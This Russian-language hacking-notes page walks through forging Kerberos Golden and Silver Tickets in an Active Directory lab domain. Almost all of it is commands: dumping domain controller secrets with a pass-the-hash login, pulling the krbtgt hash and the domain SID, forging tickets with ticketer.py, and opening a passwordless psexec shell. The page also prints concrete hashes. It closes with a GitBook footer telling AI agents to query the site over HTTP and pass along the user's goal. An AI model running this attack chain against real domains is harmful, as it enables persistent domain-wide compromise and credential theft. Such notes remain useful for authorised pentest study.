> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/active-directory/lateral-movement/kerberos-golden-ticket-and-silver-ticket.md).

# Kerberos Golden Ticket и Silver Ticket

Заметки по безопасности Active Directory для Kerberos Golden Ticket и Silver Ticket, охватывающие перечисление, Kerberos, учётные данные, злоупотребление ACL, боковое перемещение, рабочий процесс эксплуатации и шаги проверки.

Цель — подделать наши собственные билеты Kerberos.

Для этого мы сначала извлекаем необходимые секреты с контроллера домена.

{% code overflow="wrap" %}

```bash
secretsdump.py administrador@172.16.0.100 -hashes :a87f3a337d73085c45f9416be5787d86 
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aef15ce41e6c9ae401a31c87e18238b09f4722ee%2Fimage%20(13).png?alt=media" alt=""><figcaption></figcaption></figure>

Здесь мы извлекаем хэш `krbtgt` учётной записи.

* 2ebd06648a79ae82327c33648b68aa82

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f085da3b01c5617ba74626fe7d02afc3519552f5%2Fimage%20(14).png?alt=media" alt=""><figcaption></figcaption></figure>

Мы также получаем `SID домена`.

{% code overflow="wrap" %}

```bash
Get-ADDomain
```

{% endcode %}

* S-1-5-21-3587670147-487768648-1292400310

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ab401e3a160b1e7cbcfdb43ef8c8a4f1fd17153%2Fimage%20(15).png?alt=media" alt=""><figcaption></figcaption></figure>

С `ticketer.py` мы можем сгенерировать Golden Ticket для этой учётной записи.

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local administrador
```

{% endcode %}

Затем мы загружаем этот билет в локальный кеш Kerberos.

{% code overflow="wrap" %}

```bash
export KRB5CCNAME=/home/jordan/administrador.ccache
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea9ee52ab8a87f59a1ec93c2bfa824e6d303059c%2Fimage%20(17).png?alt=media" alt=""><figcaption></figcaption></figure>

После загрузки билета мы можем подключаться удалённо без пароля.

{% code overflow="wrap" %}

```bash
psexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-208aa6b05cfe0b82667b0bfaa8028c10fdd09fd1%2Fimage%20(18).png?alt=media" alt=""><figcaption></figcaption></figure>

Для генерации Silver Ticket принцип остаётся тем же, но билет предназначен для конкретной службы.

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local -spn cifs/DC01.whoami.local administrador
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69c312def487a63af1bea798d578f0cc08dcb6fd%2Fimage%20(20).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/active-directory/lateral-movement/kerberos-golden-ticket-and-silver-ticket.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
